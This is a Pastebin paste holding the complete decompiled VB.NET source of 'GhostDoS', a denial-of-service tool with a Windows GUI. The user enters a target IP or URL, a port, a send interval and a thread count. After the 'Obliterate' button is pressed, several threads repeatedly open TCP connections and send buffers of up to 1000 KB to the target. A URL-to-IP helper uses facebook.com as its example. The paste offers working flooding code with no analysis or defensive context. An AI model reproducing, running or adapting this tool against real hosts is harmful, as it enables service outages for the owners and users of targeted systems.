betrayed

GhostDoS - Decompiled / VB.NET

Jun 24th, 2021
1,415
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'Form1
  2.  
  3. Imports System
  4. Imports System.ComponentModel
  5. Imports System.Drawing
  6. Imports System.IO
  7. Imports System.Net
  8. Imports System.Net.Sockets
  9. Imports System.Reflection
  10. Imports System.Resources
  11. Imports System.Threading
  12. Imports System.Windows.Forms
  13.  
  14. Namespace GhostDoS
  15.     Public Class Form1
  16.         Inherits Form
  17.         Private components As IContainer
  18.  
  19.         Public labelFailed As Label
  20.  
  21.         Public labelConnected As Label
  22.  
  23.         Private label6 As Label
  24.  
  25.         Private label5 As Label
  26.  
  27.         Private buttonGo As Button
  28.  
  29.         Private textBoxInter As TextBox
  30.  
  31.         Private textBoxPort As TextBox
  32.  
  33.         Private textBoxIP As TextBox
  34.  
  35.         Private label4 As Label
  36.  
  37.         Private label2 As Label
  38.  
  39.         Private label1 As Label
  40.  
  41.         Private buttonStop As Button
  42.  
  43.         Private labelStatus As Label
  44.  
  45.         Private textBoxThreads As TextBox
  46.  
  47.         Private label3 As Label
  48.  
  49.         Private buttonURL As Button
  50.  
  51.         Private buttonSettings As Button
  52.  
  53.         Private timer1 As Timer
  54.  
  55.         Public Shared ip1 As IPAddress
  56.  
  57.         Public Shared ip2 As IPEndPoint
  58.  
  59.         Public Shared Soc As Socket
  60.  
  61.         Public Sub New()
  62.             MyBase.New()
  63.             Me.InitializeComponent()
  64.         End Sub
  65.  
  66.         Public Sub Attack()
  67.             Form1.ip1 = IPAddress.Parse(Form1.Vars.IP)
  68.             Form1.ip2 = New IPEndPoint(Form1.ip1, Form1.Vars.Port)
  69.             Form1.Soc = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
  70.             Me.setControlPropertyValue(Me.labelStatus, "text", "Testing connection...")
  71.         Label0:
  72.             While Not Form1.Vars.killThread
  73.                 Try
  74.                     Form1.Soc.Connect(Form1.ip2)
  75.                 Catch
  76.                     Form1.Vars.Failed = Form1.Vars.Failed + 1
  77.                     Me.setControlPropertyValue(Me.labelFailed, "text", Form1.Vars.Failed.ToString())
  78.                     If (Me.labelStatus.Text <> "Failed to connect. Testing again...") Then
  79.                         Me.setControlPropertyValue(Me.labelStatus, "text", "Failed to connect. Testing again...")
  80.                     End If
  81.                     Thread.Sleep(Form1.Vars.Total)
  82.                     Continue While
  83.                 End Try
  84.                 Me.setControlPropertyValue(Me.labelStatus, "text", "Connected! Sending packets...")
  85.                 Dim numArray(Form1.Vars.sendSize * 1024 - 1) As Byte
  86.                 While Not Form1.Vars.killThread
  87.                     If (Not Form1.Soc.Connected) Then
  88.                         Form1.Vars.Failed = Form1.Vars.Failed + 1
  89.                         Me.setControlPropertyValue(Me.labelFailed, "text", Form1.Vars.Failed.ToString())
  90.                         Me.setControlPropertyValue(Me.labelStatus, "text", "Failed to connect. Testing connection...")
  91.                         Thread.Sleep(Form1.Vars.Total)
  92.                         GoTo Label0
  93.                     Else
  94.                         Try
  95.                             Form1.Soc.SendTo(numArray, Form1.ip2)
  96.                             Form1.Vars.Connected = Form1.Vars.Connected + 1
  97.                             Me.setControlPropertyValue(Me.labelConnected, "text", Form1.Vars.Connected.ToString())
  98.                         Catch
  99.                             Form1.Vars.Failed = Form1.Vars.Failed + 1
  100.                             Me.setControlPropertyValue(Me.labelFailed, "text", Form1.Vars.Failed.ToString())
  101.                             Me.setControlPropertyValue(Me.labelStatus, "text", "Failed to connect. Testing connection...")
  102.                             Thread.Sleep(Form1.Vars.Total)
  103.                             GoTo Label0
  104.                         End Try
  105.                         Thread.Sleep(Form1.Vars.Total)
  106.                     End If
  107.                 End While
  108.                 Return
  109.             End While
  110.             Me.setControlPropertyValue(Me.labelStatus, "text", "Attack canceled. Ready...")
  111.             Me.setControlPropertyValue(Me.buttonGo, "enabled", True)
  112.         End Sub
  113.  
  114.         Private Sub buttonGo_Click(ByVal sender As Object, ByVal e As EventArgs)
  115.             Dim pAddress As IPAddress
  116.             Me.buttonGo.Enabled = False
  117.             Me.buttonStop.Enabled = True
  118.             Form1.Vars.killThread = False
  119.             Me.labelConnected.Text = "0"
  120.             Me.labelFailed.Text = "0"
  121.             Form1.Vars.Connected = 0
  122.             Form1.Vars.Failed = 0
  123.             Form1.Vars.IP = Me.textBoxIP.Text
  124.             If (File.Exists("C:\GhostDoS\Size.txt")) Then
  125.                 Dim streamReader As System.IO.StreamReader = New System.IO.StreamReader("C:\GhostDoS\Size.txt")
  126.                 Form1.Vars.sendSize = Convert.ToInt32(streamReader.ReadToEnd())
  127.             End If
  128.             If (Not IPAddress.TryParse(Form1.Vars.IP, pAddress)) Then
  129.                 MessageBox.Show("Bad IP!", "Error")
  130.                 Me.labelStatus.Text = "Error"
  131.                 Return
  132.             End If
  133.             Form1.Vars.Port = Convert.ToInt32(Me.textBoxPort.Text)
  134.             Form1.Vars.Total = Convert.ToInt32(Me.textBoxInter.Text)
  135.             Me.timer1.Start()
  136.         End Sub
  137.  
  138.         Private Sub buttonSettings_Click(ByVal sender As Object, ByVal e As EventArgs)
  139.             Dim form3 As Form = New GhostDoS.Form3()
  140.             form3.Show()
  141.         End Sub
  142.  
  143.         Private Sub buttonStop_Click(ByVal sender As Object, ByVal e As EventArgs)
  144.             Form1.Vars.killThread = True
  145.             Me.buttonStop.Enabled = False
  146.             Me.timer1.[Stop]()
  147.             Form1.Vars.threadsMade = 0
  148.             Me.labelStatus.Text = "Cancellation pending..."
  149.         End Sub
  150.  
  151.         Private Sub buttonURL_Click(ByVal sender As Object, ByVal e As EventArgs)
  152.             Dim form2 As Form = New GhostDoS.Form2()
  153.             form2.Show()
  154.         End Sub
  155.  
  156.         Protected Overrides Sub Dispose(ByVal disposing As Boolean)
  157.             If (disposing AndAlso Me.components IsNot Nothing) Then
  158.                 Me.components.Dispose()
  159.             End If
  160.             MyBase.Dispose(disposing)
  161.         End Sub
  162.  
  163.         Private Sub InitializeComponent()
  164.             Me.components = New Container()
  165.             Dim componentResourceManager As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
  166.             Me.labelFailed = New Label()
  167.             Me.labelConnected = New Label()
  168.             Me.label6 = New Label()
  169.             Me.label5 = New Label()
  170.             Me.buttonGo = New Button()
  171.             Me.textBoxInter = New TextBox()
  172.             Me.textBoxPort = New TextBox()
  173.             Me.textBoxIP = New TextBox()
  174.             Me.label4 = New Label()
  175.             Me.label2 = New Label()
  176.             Me.label1 = New Label()
  177.             Me.buttonStop = New Button()
  178.             Me.labelStatus = New Label()
  179.             Me.textBoxThreads = New TextBox()
  180.             Me.label3 = New Label()
  181.             Me.buttonURL = New Button()
  182.             Me.buttonSettings = New Button()
  183.             Me.timer1 = New Timer(Me.components)
  184.             MyBase.SuspendLayout()
  185.             Me.labelFailed.AutoSize = True
  186.             Me.labelFailed.BackColor = Color.Transparent
  187.             Me.labelFailed.Font = New Font("Candles", 12!, FontStyle.Regular, GraphicsUnit.Point, 0)
  188.             Me.labelFailed.Location = New Point(306, 400)
  189.             Me.labelFailed.Name = "labelFailed"
  190.             Me.labelFailed.Size = New Size(20, 20)
  191.             Me.labelFailed.TabIndex = 25
  192.             Me.labelFailed.Text = "0"
  193.             Me.labelConnected.AutoSize = True
  194.             Me.labelConnected.BackColor = Color.Transparent
  195.             Me.labelConnected.Font = New Font("Candles", 12!, FontStyle.Regular, GraphicsUnit.Point, 0)
  196.             Me.labelConnected.Location = New Point(306, 366)
  197.             Me.labelConnected.Name = "labelConnected"
  198.             Me.labelConnected.Size = New Size(20, 20)
  199.             Me.labelConnected.TabIndex = 24
  200.             Me.labelConnected.Text = "0"
  201.             Me.label6.AutoSize = True
  202.             Me.label6.BackColor = Color.Transparent
  203.             Me.label6.Font = New Font("Cracked Johnnie", 12!, FontStyle.Regular, GraphicsUnit.Point, 0)
  204.             Me.label6.ForeColor = Color.DimGray
  205.             Me.label6.Location = New Point(226, 400)
  206.             Me.label6.Name = "label6"
  207.             Me.label6.Size = New Size(74, 16)
  208.             Me.label6.TabIndex = 23
  209.             Me.label6.Text = "Failed:"
  210.             Me.label5.AutoSize = True
  211.             Me.label5.BackColor = Color.Transparent
  212.             Me.label5.Font = New Font("Cracked Johnnie", 12!, FontStyle.Regular, GraphicsUnit.Point, 0)
  213.             Me.label5.ForeColor = Color.DimGray
  214.             Me.label5.Location = New Point(178, 366)
  215.             Me.label5.Name = "label5"
  216.             Me.label5.Size = New Size(122, 16)
  217.             Me.label5.TabIndex = 22
  218.             Me.label5.Text = "Connected:"
  219.             Me.buttonGo.BackColor = SystemColors.Control
  220.             Me.buttonGo.Font = New Font("Cracked Johnnie", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  221.             Me.buttonGo.ForeColor = Color.DimGray
  222.             Me.buttonGo.Location = New Point(12, 366)
  223.             Me.buttonGo.Name = "buttonGo"
  224.             Me.buttonGo.Size = New Size(160, 59)
  225.             Me.buttonGo.TabIndex = 21
  226.             Me.buttonGo.Text = "Obliterate"
  227.             Me.buttonGo.UseVisualStyleBackColor = False
  228.             AddHandler Me.buttonGo.Click,  New EventHandler(AddressOf Me.buttonGo_Click)
  229.             Me.textBoxInter.Font = New Font("Microsoft Sans Serif", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  230.             Me.textBoxInter.Location = New Point(358, 171)
  231.             Me.textBoxInter.Name = "textBoxInter"
  232.             Me.textBoxInter.Size = New Size(124, 31)
  233.             Me.textBoxInter.TabIndex = 20
  234.             Me.textBoxInter.Text = "200"
  235.             Me.textBoxPort.Font = New Font("Microsoft Sans Serif", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  236.             Me.textBoxPort.Location = New Point(358, 103)
  237.             Me.textBoxPort.Name = "textBoxPort"
  238.             Me.textBoxPort.Size = New Size(124, 31)
  239.             Me.textBoxPort.TabIndex = 18
  240.             Me.textBoxIP.Font = New Font("Microsoft Sans Serif", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  241.             Me.textBoxIP.Location = New Point(358, 32)
  242.             Me.textBoxIP.Name = "textBoxIP"
  243.             Me.textBoxIP.Size = New Size(124, 31)
  244.             Me.textBoxIP.TabIndex = 17
  245.             Me.label4.AutoSize = True
  246.             Me.label4.BackColor = Color.Transparent
  247.             Me.label4.Font = New Font("Cracked Johnnie", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  248.             Me.label4.ForeColor = Color.DimGray
  249.             Me.label4.Location = New Point(61, 174)
  250.             Me.label4.Name = "label4"
  251.             Me.label4.Size = New Size(177, 42)
  252.             Me.label4.TabIndex = 16
  253.             Me.label4.Text = "Interval" & VbCrLf & "(miliseconds)"
  254.             Me.label2.AutoSize = True
  255.             Me.label2.BackColor = Color.Transparent
  256.             Me.label2.Font = New Font("Cracked Johnnie", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  257.             Me.label2.ForeColor = Color.DimGray
  258.             Me.label2.Location = New Point(61, 106)
  259.             Me.label2.Name = "label2"
  260.             Me.label2.Size = New Size(85, 21)
  261.             Me.label2.TabIndex = 14
  262.             Me.label2.Text = "Port:"
  263.             Me.label1.AutoSize = True
  264.             Me.label1.BackColor = Color.Transparent
  265.             Me.label1.Font = New Font("Cracked Johnnie", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  266.             Me.label1.ForeColor = Color.DimGray
  267.             Me.label1.Location = New Point(61, 35)
  268.             Me.label1.Name = "label1"
  269.             Me.label1.Size = New Size(44, 21)
  270.             Me.label1.TabIndex = 13
  271.             Me.label1.Text = "IP:"
  272.             Me.buttonStop.Font = New Font("Cracked Johnnie", 18!, FontStyle.Regular, GraphicsUnit.Point, 0)
  273.             Me.buttonStop.ForeColor = Color.DimGray
  274.             Me.buttonStop.Location = New Point(425, 366)
  275.             Me.buttonStop.Name = "buttonStop"
  276.             Me.buttonStop.Size = New Size(106, 59)
  277.             Me.buttonStop.TabIndex = 26
  278.             Me.buttonStop.Text = "Stop!"
  279.             Me.buttonStop.UseVisualStyleBackColor = True
  280.             AddHandler Me.buttonStop.Click,  New EventHandler(AddressOf Me.buttonStop_Click)
  281.             Me.labelStatus.AutoSize = True
  282.             Me.labelStatus.BackColor = Color.Transparent
  283.             Me.labelStatus.Font = New Font("Cracked Johnnie", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  284.             Me.labelStatus.ForeColor = Color.DarkRed
  285.             Me.labelStatus.Location = New Point(61, 329)
  286.             Me.labelStatus.Name = "labelStatus"
  287.             Me.labelStatus.Size = New Size(105, 21)
  288.             Me.labelStatus.TabIndex = 27
  289.             Me.labelStatus.Text = "Ready..."
  290.             Me.textBoxThreads.Font = New Font("Microsoft Sans Serif", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  291.             Me.textBoxThreads.Location = New Point(358, 249)
  292.             Me.textBoxThreads.Name = "textBoxThreads"
  293.             Me.textBoxThreads.Size = New Size(124, 31)
  294.             Me.textBoxThreads.TabIndex = 28
  295.             Me.textBoxThreads.Text = "5"
  296.             Me.label3.AutoSize = True
  297.             Me.label3.BackColor = Color.Transparent
  298.             Me.label3.Font = New Font("Cracked Johnnie", 15.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  299.             Me.label3.ForeColor = Color.DimGray
  300.             Me.label3.Location = New Point(61, 255)
  301.             Me.label3.Name = "label3"
  302.             Me.label3.Size = New Size(126, 21)
  303.             Me.label3.TabIndex = 29
  304.             Me.label3.Text = "Threads:"
  305.             Me.buttonURL.BackColor = SystemColors.Control
  306.             Me.buttonURL.Font = New Font("Cracked Johnnie", 12!, FontStyle.Regular, GraphicsUnit.Point, 0)
  307.             Me.buttonURL.ForeColor = Color.DimGray
  308.             Me.buttonURL.Location = New Point(218, 31)
  309.             Me.buttonURL.Name = "buttonURL"
  310.             Me.buttonURL.Size = New Size(134, 34)
  311.             Me.buttonURL.TabIndex = 30
  312.             Me.buttonURL.Text = "URL To IP"
  313.             Me.buttonURL.UseVisualStyleBackColor = False
  314.             AddHandler Me.buttonURL.Click,  New EventHandler(AddressOf Me.buttonURL_Click)
  315.             Me.buttonSettings.Font = New Font("Cracked Johnnie", 6.75!, FontStyle.Regular, GraphicsUnit.Point, 0)
  316.             Me.buttonSettings.Location = New Point(218, 296)
  317.             Me.buttonSettings.Name = "buttonSettings"
  318.             Me.buttonSettings.Size = New Size(106, 23)
  319.             Me.buttonSettings.TabIndex = 31
  320.             Me.buttonSettings.Text = "Other Settings"
  321.             Me.buttonSettings.UseVisualStyleBackColor = True
  322.             AddHandler Me.buttonSettings.Click,  New EventHandler(AddressOf Me.buttonSettings_Click)
  323.             Me.timer1.Interval = 53
  324.             AddHandler Me.timer1.Tick,  New EventHandler(AddressOf Me.timer1_Tick)
  325.             MyBase.AutoScaleDimensions = New SizeF(6!, 13!)
  326.             MyBase.AutoScaleMode = AutoScaleMode.Font
  327.             Me.BackColor = Color.Black
  328.             Me.BackgroundImage = DirectCast(componentResourceManager.GetObject("$this.BackgroundImage"), Image)
  329.             Me.BackgroundImageLayout = ImageLayout.Stretch
  330.             MyBase.ClientSize = New Size(543, 457)
  331.             MyBase.Controls.Add(Me.buttonSettings)
  332.             MyBase.Controls.Add(Me.buttonURL)
  333.             MyBase.Controls.Add(Me.label3)
  334.             MyBase.Controls.Add(Me.textBoxThreads)
  335.             MyBase.Controls.Add(Me.labelStatus)
  336.             MyBase.Controls.Add(Me.buttonStop)
  337.             MyBase.Controls.Add(Me.labelFailed)
  338.             MyBase.Controls.Add(Me.labelConnected)
  339.             MyBase.Controls.Add(Me.label6)
  340.             MyBase.Controls.Add(Me.label5)
  341.             MyBase.Controls.Add(Me.buttonGo)
  342.             MyBase.Controls.Add(Me.textBoxInter)
  343.             MyBase.Controls.Add(Me.textBoxPort)
  344.             MyBase.Controls.Add(Me.textBoxIP)
  345.             MyBase.Controls.Add(Me.label4)
  346.             MyBase.Controls.Add(Me.label2)
  347.             MyBase.Controls.Add(Me.label1)
  348.             MyBase.FormBorderStyle = FormBorderStyle.FixedSingle
  349.             MyBase.Icon = DirectCast(componentResourceManager.GetObject("$this.Icon"), Icon)
  350.             MyBase.MaximizeBox = False
  351.             MyBase.Name = "Form1"
  352.             MyBase.StartPosition = FormStartPosition.CenterScreen
  353.             Me.Text = "Ghost DoS - v1.0.0"
  354.             MyBase.ResumeLayout(False)
  355.             MyBase.PerformLayout()
  356.         End Sub
  357.  
  358.         Private Sub setControlPropertyValue(ByVal oControl As Control, ByVal propName As String, ByVal propValue As Object)
  359.             If (Not oControl.InvokeRequired) Then
  360.                 Dim properties As System.Reflection.PropertyInfo() = oControl.[GetType]().GetProperties()
  361.                 For i As Integer = 0 To CInt(properties.Length)
  362.                     Dim propertyInfo As System.Reflection.PropertyInfo = properties(i)
  363.                     If (propertyInfo.Name.ToUpper() = propName.ToUpper()) Then
  364.                         propertyInfo.SetValue(oControl, propValue, Nothing)
  365.                     End If
  366.                 Next
  367.  
  368.             Else
  369.                 Dim setControlValueCallback As Form1.SetControlValueCallback = New Form1.SetControlValueCallback(AddressOf Me.setControlPropertyValue)
  370.                 Try
  371.                     Dim objArray() As Object = { oControl, propName, propValue }
  372.                     oControl.Invoke(setControlValueCallback, objArray)
  373.                 Catch
  374.                 End Try
  375.             End If
  376.         End Sub
  377.  
  378.         Private Sub timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
  379.             If (Form1.Vars.threadsMade >= Convert.ToInt32(Me.textBoxThreads.Text)) Then
  380.                 Me.timer1.[Stop]()
  381.                 Return
  382.             End If
  383.             Dim thread As System.Threading.Thread = New System.Threading.Thread(New ThreadStart(AddressOf Me.Attack))
  384.             thread.Start()
  385.             Form1.Vars.threadsMade = Form1.Vars.threadsMade + 1
  386.         End Sub
  387.  
  388.         Private Delegate Sub SetControlValueCallback(ByVal oControl As Control, ByVal propName As String, ByVal propValue As Object)
  389.  
  390.         Public Class Vars
  391.             Public Shared IP As String
  392.  
  393.             Public Shared Port As Integer
  394.  
  395.             Public Shared s As Socket
  396.  
  397.             Public Shared T As Integer
  398.  
  399.             Public Shared Threads As Long
  400.  
  401.             Public Shared Packets As Long
  402.  
  403.             Public Shared Total As Integer
  404.  
  405.             Public Shared Connected As Integer
  406.  
  407.             Public Shared Failed As Integer
  408.  
  409.             Public Shared blarg As Integer
  410.  
  411.             Public Shared sendSize As Integer
  412.  
  413.             Public Shared killThread As Boolean
  414.  
  415.             Public Shared threadsMade As Integer
  416.  
  417.             Shared Sub New()
  418.                 Form1.Vars.IP = ""
  419.                 Form1.Vars.Packets = CLng(0)
  420.                 Form1.Vars.Connected = 0
  421.                 Form1.Vars.Failed = 0
  422.                 Form1.Vars.blarg = 1
  423.                 Form1.Vars.sendSize = 10
  424.                 Form1.Vars.killThread = False
  425.                 Form1.Vars.threadsMade = 0
  426.             End Sub
  427.  
  428.             Public Sub New()
  429.                 MyBase.New()
  430.             End Sub
  431.         End Class
  432.     End Class
  433. End Namespace
  434.  
  435. 'Form 2
  436.  
  437. Imports System
  438. Imports System.ComponentModel
  439. Imports System.Drawing
  440. Imports System.Net
  441. Imports System.Resources
  442. Imports System.Windows.Forms
  443.  
  444. Namespace GhostDoS
  445.     Public Class Form2
  446.         Inherits Form
  447.         Private components As IContainer
  448.  
  449.         Private textBoxURL As TextBox
  450.  
  451.         Private buttonConvert As Button
  452.  
  453.         Private textBoxIP As TextBox
  454.  
  455.         Private label1 As Label
  456.  
  457.         Public Sub New()
  458.             MyBase.New()
  459.             Me.InitializeComponent()
  460.         End Sub
  461.  
  462.         Private Sub buttonConvert_Click(ByVal sender As Object, ByVal e As EventArgs)
  463.             Try
  464.                 If (Me.textBoxURL.Text = "") Then
  465.                     MessageBox.Show("Please fill in a URL/Host to be converted.", "Empty Field")
  466.                 ElseIf (Not Me.textBoxURL.Text.Contains("http://")) Then
  467.                     Dim hostEntry As IPHostEntry = Dns.GetHostEntry(Me.textBoxURL.Text)
  468.                     Me.textBoxIP.Text = hostEntry.AddressList(0).ToString()
  469.                 Else
  470.                     Dim pHostEntry As IPHostEntry = Dns.GetHostEntry(Me.textBoxURL.Text.Replace("http://", String.Empty))
  471.                     Me.textBoxIP.Text = pHostEntry.AddressList(0).ToString()
  472.                 End If
  473.             Catch exception1 As System.Exception
  474.                 Dim exception As System.Exception = exception1
  475.                 If (MessageBox.Show(String.Concat("An error occured during the conversion.", Environment.NewLine, "Would you like to see a full error report?"), "Error", MessageBoxButtons.YesNo) = DialogResult.Yes) Then
  476.                     MessageBox.Show(exception.Message, "Error Report")
  477.                 End If
  478.                 Me.textBoxIP.Text = ""
  479.             End Try
  480.         End Sub
  481.  
  482.         Protected Overrides Sub Dispose(ByVal disposing As Boolean)
  483.             If (disposing AndAlso Me.components IsNot Nothing) Then
  484.                 Me.components.Dispose()
  485.             End If
  486.             MyBase.Dispose(disposing)
  487.         End Sub
  488.  
  489.         Private Sub InitializeComponent()
  490.             Dim componentResourceManager As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2))
  491.             Me.textBoxURL = New TextBox()
  492.             Me.buttonConvert = New Button()
  493.             Me.textBoxIP = New TextBox()
  494.             Me.label1 = New Label()
  495.             MyBase.SuspendLayout()
  496.             Me.textBoxURL.Font = New Font("Cracked Johnnie", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
  497.             Me.textBoxURL.Location = New Point(12, 12)
  498.             Me.textBoxURL.Name = "textBoxURL"
  499.             Me.textBoxURL.Size = New Size(153, 21)
  500.             Me.textBoxURL.TabIndex = 0
  501.             Me.textBoxURL.Text = "URL/Host"
  502.             AddHandler Me.textBoxURL.Click,  New EventHandler(AddressOf Me.textBoxURL_Click)
  503.             Me.buttonConvert.Font = New Font("Cracked Johnnie", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
  504.             Me.buttonConvert.ForeColor = Color.DimGray
  505.             Me.buttonConvert.Location = New Point(53, 38)
  506.             Me.buttonConvert.Name = "buttonConvert"
  507.             Me.buttonConvert.Size = New Size(75, 23)
  508.             Me.buttonConvert.TabIndex = 1
  509.             Me.buttonConvert.Text = "Convert"
  510.             Me.buttonConvert.UseVisualStyleBackColor = True
  511.             AddHandler Me.buttonConvert.Click,  New EventHandler(AddressOf Me.buttonConvert_Click)
  512.             Me.textBoxIP.Location = New Point(12, 67)
  513.             Me.textBoxIP.Name = "textBoxIP"
  514.             Me.textBoxIP.Size = New Size(153, 20)
  515.             Me.textBoxIP.TabIndex = 2
  516.             Me.label1.AutoSize = True
  517.             Me.label1.ForeColor = Color.DimGray
  518.             Me.label1.Location = New Point(12, 94)
  519.             Me.label1.Name = "label1"
  520.             Me.label1.Size = New Size(165, 117)
  521.             Me.label1.TabIndex = 3
  522.             Me.label1.Text = "Note: Please do not include a '/'" & VbCrLf & "after the URL, and do not include" & VbCrLf & "anything but the main URL." & VbCrLf & "" & VbCrLf & "Example:" & VbCrLf & "http://www.facebook.com ✓" & VbCrLf & "facebook.com ✓" & VbCrLf & "facebook.com/ ✖" & VbCrLf & "facebook.com/main.php ✖"
  523.             MyBase.AutoScaleDimensions = New SizeF(6!, 13!)
  524.             MyBase.AutoScaleMode = AutoScaleMode.Font
  525.             Me.BackColor = Color.Black
  526.             MyBase.ClientSize = New Size(177, 218)
  527.             MyBase.Controls.Add(Me.label1)
  528.             MyBase.Controls.Add(Me.textBoxIP)
  529.             MyBase.Controls.Add(Me.buttonConvert)
  530.             MyBase.Controls.Add(Me.textBoxURL)
  531.             MyBase.FormBorderStyle = FormBorderStyle.FixedSingle
  532.             MyBase.Icon = DirectCast(componentResourceManager.GetObject("$this.Icon"), Icon)
  533.             MyBase.MaximizeBox = False
  534.             MyBase.MinimizeBox = False
  535.             MyBase.Name = "Form2"
  536.             MyBase.StartPosition = FormStartPosition.CenterScreen
  537.             Me.Text = "URL To IP"
  538.             MyBase.ResumeLayout(False)
  539.             MyBase.PerformLayout()
  540.         End Sub
  541.  
  542.         Private Sub textBoxURL_Click(ByVal sender As Object, ByVal e As EventArgs)
  543.             If (Me.textBoxURL.Text = "URL/Host") Then
  544.                 Me.textBoxURL.Text = ""
  545.             End If
  546.         End Sub
  547.     End Class
  548. End Namespace
  549.  
  550. 'Form 3
  551.  
  552. Imports System
  553. Imports System.ComponentModel
  554. Imports System.Drawing
  555. Imports System.IO
  556. Imports System.Resources
  557. Imports System.Windows.Forms
  558.  
  559. Namespace GhostDoS
  560.     Public Class Form3
  561.         Inherits Form
  562.         Private components As IContainer
  563.  
  564.         Private trackBarSize As TrackBar
  565.  
  566.         Private labelSize As Label
  567.  
  568.         Private buttonSave As Button
  569.  
  570.         Private label1 As Label
  571.  
  572.         Public Sub New()
  573.             MyBase.New()
  574.             Me.InitializeComponent()
  575.         End Sub
  576.  
  577.         Private Sub buttonSave_Click(ByVal sender As Object, ByVal e As EventArgs)
  578.             Try
  579.                 If (Not Directory.Exists("C:\GhostDoS")) Then
  580.                     Directory.CreateDirectory("C:\GhostDos")
  581.                 End If
  582.                 Dim streamWriter As System.IO.StreamWriter = New System.IO.StreamWriter("C:\GhostDos\Size.txt")
  583.                 streamWriter.Write(Me.trackBarSize.Value)
  584.                 streamWriter.Close()
  585.                 MessageBox.Show("Save completed successfully.", "Saved!")
  586.             Catch
  587.                 MessageBox.Show("There seems to have been an error while either creating the save file directory (C:\GhostDoS), or while writing the files themselves. Please be sure that you have the appropriate privleges to read/write files/directories. Until then, saving the settings cannot occur.", "Error")
  588.             End Try
  589.         End Sub
  590.  
  591.         Protected Overrides Sub Dispose(ByVal disposing As Boolean)
  592.             If (disposing AndAlso Me.components IsNot Nothing) Then
  593.                 Me.components.Dispose()
  594.             End If
  595.             MyBase.Dispose(disposing)
  596.         End Sub
  597.  
  598.         Private Sub Form3_Load(ByVal sender As Object, ByVal e As EventArgs)
  599.             If (File.Exists("C:\GhostDoS\Size.txt")) Then
  600.                 Dim streamReader As System.IO.StreamReader = New System.IO.StreamReader("C:\GhostDos\Size.txt")
  601.                 Dim num As Integer = Convert.ToInt32(streamReader.ReadToEnd())
  602.                 streamReader.Close()
  603.                 Me.trackBarSize.Value = num
  604.                 Me.labelSize.Text = String.Concat("Packet Size: ", num.ToString(), "KB")
  605.             End If
  606.         End Sub
  607.  
  608.         Private Sub InitializeComponent()
  609.             Dim componentResourceManager As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form3))
  610.             Me.trackBarSize = New TrackBar()
  611.             Me.labelSize = New Label()
  612.             Me.buttonSave = New Button()
  613.             Me.label1 = New Label()
  614.             DirectCast(Me.trackBarSize, ISupportInitialize).BeginInit()
  615.             MyBase.SuspendLayout()
  616.             Me.trackBarSize.LargeChange = 10
  617.             Me.trackBarSize.Location = New Point(1, 25)
  618.             Me.trackBarSize.Maximum = 1000
  619.             Me.trackBarSize.Minimum = 1
  620.             Me.trackBarSize.Name = "trackBarSize"
  621.             Me.trackBarSize.Size = New Size(355, 40)
  622.             Me.trackBarSize.SmallChange = 10
  623.             Me.trackBarSize.TabIndex = 0
  624.             Me.trackBarSize.TickFrequency = 10
  625.             Me.trackBarSize.Value = 10
  626.             AddHandler Me.trackBarSize.Scroll,  New EventHandler(AddressOf Me.trackBarSize_Scroll)
  627.             Me.labelSize.AutoSize = True
  628.             Me.labelSize.Location = New Point(107, 9)
  629.             Me.labelSize.Name = "labelSize"
  630.             Me.labelSize.Size = New Size(96, 13)
  631.             Me.labelSize.TabIndex = 1
  632.             Me.labelSize.Text = "Packet Size: 10KB"
  633.             Me.buttonSave.Font = New Font("Cracked Johnnie", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
  634.             Me.buttonSave.Location = New Point(141, 235)
  635.             Me.buttonSave.Name = "buttonSave"
  636.             Me.buttonSave.Size = New Size(75, 23)
  637.             Me.buttonSave.TabIndex = 2
  638.             Me.buttonSave.Text = "Save"
  639.             Me.buttonSave.UseVisualStyleBackColor = True
  640.             AddHandler Me.buttonSave.Click,  New EventHandler(AddressOf Me.buttonSave_Click)
  641.             Me.label1.AutoSize = True
  642.             Me.label1.Location = New Point(12, 89)
  643.             Me.label1.Name = "label1"
  644.             Me.label1.Size = New Size(120, 13)
  645.             Me.label1.TabIndex = 3
  646.             Me.label1.Text = "More settings to come..."
  647.             MyBase.AutoScaleDimensions = New SizeF(6!, 13!)
  648.             MyBase.AutoScaleMode = AutoScaleMode.Font
  649.             Me.BackColor = Color.Black
  650.             MyBase.ClientSize = New Size(357, 270)
  651.             MyBase.Controls.Add(Me.label1)
  652.             MyBase.Controls.Add(Me.buttonSave)
  653.             MyBase.Controls.Add(Me.labelSize)
  654.             MyBase.Controls.Add(Me.trackBarSize)
  655.             Me.ForeColor = Color.DimGray
  656.             MyBase.Icon = DirectCast(componentResourceManager.GetObject("$this.Icon"), Icon)
  657.             MyBase.Name = "Form3"
  658.             MyBase.StartPosition = FormStartPosition.CenterScreen
  659.             Me.Text = "Other Settings"
  660.             AddHandler MyBase.Load,  New EventHandler(AddressOf Me.Form3_Load)
  661.             DirectCast(Me.trackBarSize, ISupportInitialize).EndInit()
  662.             MyBase.ResumeLayout(False)
  663.             MyBase.PerformLayout()
  664.         End Sub
  665.  
  666.         Private Sub trackBarSize_Scroll(ByVal sender As Object, ByVal e As EventArgs)
  667.             Dim label As System.Windows.Forms.Label = Me.labelSize
  668.             Dim value As Integer = Me.trackBarSize.Value
  669.             label.Text = String.Concat("Packet Size: ", value.ToString(), "KB")
  670.         End Sub
  671.     End Class
  672. End Namespace
RAW Paste Data